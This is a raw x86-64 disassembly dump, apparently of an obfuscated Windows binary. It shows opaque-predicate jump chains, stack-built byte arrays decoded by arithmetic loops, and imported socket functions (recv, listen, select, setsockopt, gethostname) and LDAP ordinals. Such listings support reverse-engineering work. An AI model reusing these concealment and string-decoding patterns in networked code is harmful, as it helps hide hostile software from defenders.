and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5d
jmp 0x1400bd650
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bdf5b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bdf39
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bdefa
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bdecd
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bdba7
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bdb8a
lea rcx, [r9 + 2]
cmp r8, rcx
je 0x1400bdb61
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bdb3f
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bdb22
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bdaff
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bdae3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400bdac6
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bdaa6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bda79
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd660
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400be0c6
lea rcx, [r9 + 0x40]
cmp r8, rcx
jb 0x1400be0aa
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400bd842
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bd828
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bd80e
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bda32
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bd9ef
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bd9b2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bd98c
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bd660
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400bd95f
lea rcx, [r9 + 0x5a]
cmp r8, rcx
ja 0x1400bd93f
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bd922
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bd906
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400bd8e3
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bd8c6
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400bd8a4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bd87b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bd85e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bd660
mov r8, rcx
lea r9, [rcx + 0x28]
jmp 0x1400bd660
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x43
jmp 0x1400bd650
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xf
jmp 0x1400bd5f0
sub r10b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x61
jmp 0x1400bd580
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bdf8b
add r10b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bd563
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
dec rbx
inc rbx
jmp 0x1400bd563
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bdf0f
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400bdfe5
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
jmp 0x1400bdfe5
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400be015
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be040
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
add r10b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x75
mov byte [rbp + rbx + 0x620], dl
inc rbx
jmp 0x1400bd563
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x39
cmp r9, 0x1000
jb 0x1400bd9a3
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400bdf8b
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x19
cmp r8, 0xa
jae 0x1400bde9a
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400bdd67
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x22
jmp 0x1400bd9c7
lea ecx, [r10 - 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400bdeb3
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400bdccd
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3b
jmp 0x1400bda04
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be040
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400be015
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400bdfe5
add r10b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400bdfe5
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bdf0f
add r10b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x42
dec rbx
inc rbx
jmp 0x1400bd563
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bd563
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bdf8b
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400bdbca
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x29
jmp 0x1400bda47
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdc04
sub r10b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
inc rax
cmp r8, rax
jne 0x1400bdc26
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5e
jmp 0x1400be015
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdc4f
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bdfe5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bdc77
add r10b, 0x6e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 2
add r8, r9
jmp 0x1400bdfe5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bdca6
sub r10b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bd563
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bda47
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4a
jmp 0x1400bdf8b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdcf0
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x17
jmp 0x1400bdf8b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdd1b
sub r10b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x45
dec rbx
inc rbx
jmp 0x1400bd563
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bdd40
sub r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x4f
jmp 0x1400bdfe5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bda04
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
jmp 0x1400be015
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdd9d
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
inc rax
cmp r8, rax
jne 0x1400bddc5
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be040
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bddea
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6a
jmp 0x1400bdfe5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bde16
add r10b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400bdfe5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bde41
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400bd563
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bde73
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bd563
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400bd9c7
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
jmp 0x1400bdf8b
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x2c
add cl, cl
add dl, cl
jmp 0x1400bdf0f
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400be015
add r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3f
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5b
add r10b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x2f
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x620], r10b
add r8, r9
jmp 0x1400bdfe5
add r10b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x53
dec rbx
inc rbx
jmp 0x1400bd563
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x51
jmp 0x1400bdf8b
movzx r10d, bl
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xb
sub r10b, 0x37
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x7f
add r10b, r11b
mov byte [rbp + rbx + 0x620], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bd563
lea ecx, [rbx + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3d
add r8, r9
jmp 0x1400bdfe5
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x71
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bd563
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x1f
movzx r10d, bl
add r10b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x23
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x620], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r11b
mov byte [rbp + rbx + 0x620], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x7b
movzx eax, byte [rbp + rbx + 0x620]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd563
add r10b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4d
jmp 0x1400bd560
add r10b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 5
jmp 0x1400bd550
lea rdx, [rbp + 0x17f7f34]
jmp 0x1400be0fb
lea rdx, [rbp + 0xd57283]
jmp 0x1400be0fb
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x958]
call fcn.1400042d0
nop
movzx eax, word [0x1401b1094]
mov byte [rbp + 0x1a8], al
movzx eax, byte [0x1401b1095]
xor al, 1
mov byte [rbp + 0x1a9], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1aa], xmm0
movups xmmword [rbp + 0x1ba], xmm0
mov byte [rbp + 0x1ca], al
movabs rdi, 0xc71e7b72e541ef00
movabs rsi, 0x12570a0f516700
movabs r14, 0x555b7258afc5cd00
movzx r9d, byte [rsp + 0x30]
mov rdx, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
mov r10, r13
cmp r10, 0x23
jae 0x1400be80c
movzx r11d, byte [rbp + r10 + 0x1a8]
mov ebx, r11d
nop dword [rax]
cmp rdx, r10
ja 0x1400be803
lea rax, [r8 + 1]
cmp rdx, rax
jae 0x1400be1b8
lea rcx, [r10 + rdi]
mov rax, rcx
and rax, rbx
imul r9, rax, 0xfffffffffffffffe
add r9, rcx
add r9, rbx
jmp 0x1400be1e5
je 0x1400be7aa
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400be782
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400be76a
lea rax, [r8 + 2]
cmp rdx, rax
je 0x1400be72f
cmp r8, r10
ja 0x1400be7fa
lea rax, [r8 + 0x80]
cmp rdx, rax
jae 0x1400be20f
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be250
lea rcx, [r8 + 1]
cmp rdx, rcx
je 0x1400be72f
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400be545
lea rax, [r8 + 4]
cmp rdx, rax
je 0x1400be76a
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400be517
lea rax, [rcx + 1]
cmp rdx, rax
je 0x1400be6b5
lea rax, [rdx + r8]
cmp rax, r10
jbe 0x1400be46c
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rdx, rax
je 0x1400be72f
lea rcx, [r8 + 0x42]
cmp rdx, rcx
je 0x1400be570
lea rax, [r8 + 0x61]
cmp rdx, rax
je 0x1400be545
lea rax, [r8 + 0x28]
cmp rdx, rax
je 0x1400be434
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400be76a
lea rax, [r8 + 0x10]
cmp rdx, rax
je 0x1400be517
lea rax, [r8 + 1]
cmp rdx, rax
je 0x1400be6b5
lea rax, [r8 + 9]
cmp rdx, rax
je 0x1400be4f6
lea rax, [r8 + 0x5a]
cmp rdx, rax
je 0x1400be4c4
lea rax, [r8 + 6]
cmp rdx, rax
je 0x1400be260
mov rdx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400be7e5
lea rcx, [r8 + 0x28]
cmp rdx, rcx
jb 0x1400be7d0
lea rax, [r8 + 3]
cmp rdx, rax
jb 0x1400be41c
lea rax, [r8 + 0x10]
cmp rdx, rax
jb 0x1400be404
lea rax, [r8 + 1]
cmp rdx, rax
jb 0x1400be1fa
lea rax, [r8 + 9]
cmp rdx, rax
jb 0x1400be475
lea rax, [r8 + 0x5a]
cmp rdx, rax
jb 0x1400be4a3
lea rax, [r8 + 0x64]
cmp rdx, rax
jb 0x1400be5ed
lea rax, [r8 + 0x7a]
cmp rdx, rax
jb 0x1400be449
lea rax, [r8 + 0x40]
cmp rdx, rax
jb 0x1400be260
mov rdx, rcx
lea r8, [rcx + 0x1000]
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x1400be4c4
lea rcx, [r8 + 0x400]
cmp rdx, rcx
ja 0x1400be4f6
lea rax, [r8 + 1]
cmp rdx, rax
ja 0x1400be6b5
lea rax, [r8 + 0x200]
cmp rdx, rax
ja 0x1400be517
lea rax, [r8 + 0x5a]
cmp rdx, rax
ja 0x1400be76a
lea rax, [r8 + 0x64]
cmp rdx, rax
ja 0x1400be434
lea rax, [r8 + 0x7a]
cmp rdx, rax
ja 0x1400be545
lea rax, [r8 + 0x40]
cmp rdx, rax
ja 0x1400be570
lea rax, [r8 + 0x1000]
cmp rdx, rax
ja 0x1400be72f
lea rax, [r8 + 0x20]
cmp rdx, rax
ja 0x1400be260
mov rdx, rcx
lea r8, [rcx + 2]
jmp 0x1400be260
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be1e5
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be190
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
jmp 0x1400be67b
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
mov byte [rbp + r10 + 0x1a8], r9b
inc r10
jmp 0x1400be173
lea rax, [r8 + 0x64]
cmp rdx, rax
jae 0x1400be4bb
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
lea rax, [rdx + r8]
cmp rax, 0x7a
je 0x1400be6a3
lea rax, [r8 + 5]
cmp rdx, rax
jbe 0x1400be591
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be5da
lea rax, [r8 + 1]
cmp rdx, rax
jne 0x1400be4ee
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
movzx eax, byte [rbp + r10 + 0x1a8]
add rax, r8
add r10, rax
inc r10
jmp 0x1400be173
inc rax
cmp rdx, rax
jne 0x1400be50e
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be6ee
lea rax, [r8 + 4]
cmp rdx, rax
jne 0x1400be52f
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be791
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400be76a
lea rax, [r8 + 2]
cmp rdx, rax
jne 0x1400be563
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
dec r10
inc r10
jmp 0x1400be173
lea rax, [r8 + 3]
cmp rdx, rax
jne 0x1400be488
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
inc r8
dec r10
inc r10
jmp 0x1400be173
lea rax, [r8 + 1]
cmp rdx, rax
je 0x1400be72f
inc rax
cmp rdx, rax
je 0x1400be570
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400be76a
lea rax, [r8 + 4]
cmp rdx, rax
je 0x1400be517
lea rax, [r8 + 7]
cmp rdx, rax
je 0x1400be4f6
lea rax, [r8 + 2]
cmp rdx, rax
je 0x1400be4c4
cmp rdx, 4
jae 0x1400be668
lea rax, [r8 + 0x28]
cmp rdx, rax
jbe 0x1400be602
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
jmp 0x1400be643
lea rcx, [r8 + 1]
cmp rdx, rcx
je 0x1400be4c4
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400be6b5
lea rax, [rcx + 1]
cmp rdx, rax
je 0x1400be517
lea rax, [r8 + 2]
cmp rdx, rax
je 0x1400be545
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400be570
cmp r8, 2
jb 0x1400be45c
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, r11b
lea r9d, [rcx + rcx]
jmp 0x1400be742
movzx eax, r10b
and al, r11b
add al, al
movzx r9d, r10b
sub r9b, al
add r9b, r11b
add r9b, r11b
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x1a8], cl
add rdx, r8
jmp 0x1400be791
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
jmp 0x1400be6c8
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx eax, r10b
sub al, cl
add al, r11b
movzx ecx, al
mov byte [rbp + r10 + 0x1a8], cl
inc r8
add rcx, r8
sub r10, rcx
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx eax, r10b
sub al, cl
add al, r11b
mov byte [rbp + r10 + 0x1a8], al
inc rdx
mov rax, 0xffffffffffffffff
sub rax, rdx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1a8]
add rax, r8
add r10, rax
inc r10
jmp 0x1400be173
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx eax, r10b
sub al, cl
add al, r11b
mov byte [rbp + r10 + 0x1a8], al
inc r8
dec r10
inc r10
jmp 0x1400be173
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r9d, r10b
sub r9b, cl
add r9b, r11b
add rdx, r8
jmp 0x1400be791
lea rax, [r10 + rsi]
and bl, al
add bl, bl
sub r11b, bl
lea r9d, [rax + r11]
movzx eax, r9b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400be173
lea rax, [r10 + r14]
and bl, al
add bl, bl
sub r11b, bl
lea r9d, [rax + r11]
movzx eax, byte [rbp + r10 + 0x1a8]
add rax, r8
add r10, rax
inc r10
jmp 0x1400be173
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r9d, [r11 + r10]
jmp 0x1400be170
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r9d, [r11 + r10]
jmp 0x1400be161
lea rdx, [rbp + 0x14c95a8]
jmp 0x1400be813
lea rdx, [rbp + 0xce84a8]
jmp 0x1400be813
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x938]
call fcn.1400042d0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x980], xmm0
movups xmmword [rbp + 0x990], xmm0
movups xmmword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x9b0], xmm0
movups xmmword [rbp + 0x9c0], xmm0
movups xmmword [rbp + 0x9d0], xmm0
movups xmmword [rbp + 0x9e0], xmm0
movups xmmword [rbp + 0x9f0], xmm0
movups xmmword [rbp + 0xa00], xmm0
mov qword [rbp + 0xa10], rax
lea rdx, [rbp + 0x958]
lea rcx, [rbp - 0x20]
call fcn.140002680
nop
mov rdx, rax
lea rcx, [rbp + 0x980]
call fcn.1400cbbf0
nop
lea rcx, [rbp - 0x20]
call fcn.140002820
mov eax, dword [rbp + 0x980]
test eax, eax
je 0x1400c55ee
cmp eax, 0x190
jge 0x1400c55ee
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x988]
call fcn.14005bde0
test al, al
jne 0x1400c0b93
mov r9, qword [rbp + 0x998]
dec r9
lea rax, [rsp + 0x31]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x988]
lea rcx, [rbp]
call fcn.140004310
lea rdx, [rbp]
lea rcx, [rbp + 0x988]
call fcn.140004240
lea rcx, [rbp]
call fcn.140002820
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x988]
call fcn.14005bde0
test al, al
jne 0x1400c0b93
mov byte [rbp + 0x2d8], 0x5c
mov byte [rbp + 0x2d9], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x2da], Ordinal_60
mov byte [rbp + 0x2db], 0x3e
mov byte [rbp + 0x2dc], Ordinal_41
mov byte [rbp + 0x2dd], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x2de], Ordinal_35
mov byte [rbp + 0x2df], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x2e0], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x2e1], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x2e2], Ordinal_143
mov byte [rbp + 0x2e3], Ordinal_60
mov byte [rbp + 0x2e4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x2e5], Ordinal_41
mov byte [rbp + 0x2e6], gethostname
mov byte [rbp + 0x2e7], gethostname
mov byte [rbp + 0x2e8], Ordinal_45
mov byte [rbp + 0x2e9], 0x3e
mov byte [rbp + 0x2ea], gethostname
mov byte [rbp + 0x2eb], __WSAFDIsSet
mov byte [rbp + 0x2ec], 0xa2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2ed], xmm0
mov qword [rbp + 0x2fd], rax
mov dword [rbp + 0x305], eax
mov word [rbp + 0x309], ax
movzx edx, byte [rsp + 0x31]
nop dword [rax]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400bf4da
movzx r11d, byte [rbp + rbx + 0x2d8]
mov edi, r11d
nop dword [rax]
cmp r9, rbx
ja 0x1400bf4d1
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400bea3e
lea rcx, [rbx + 0x125e9]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x5f
jmp 0x1400bea6b
je 0x1400bf463
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400bf3db
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400bf385
lea rax, [r8 + 4]
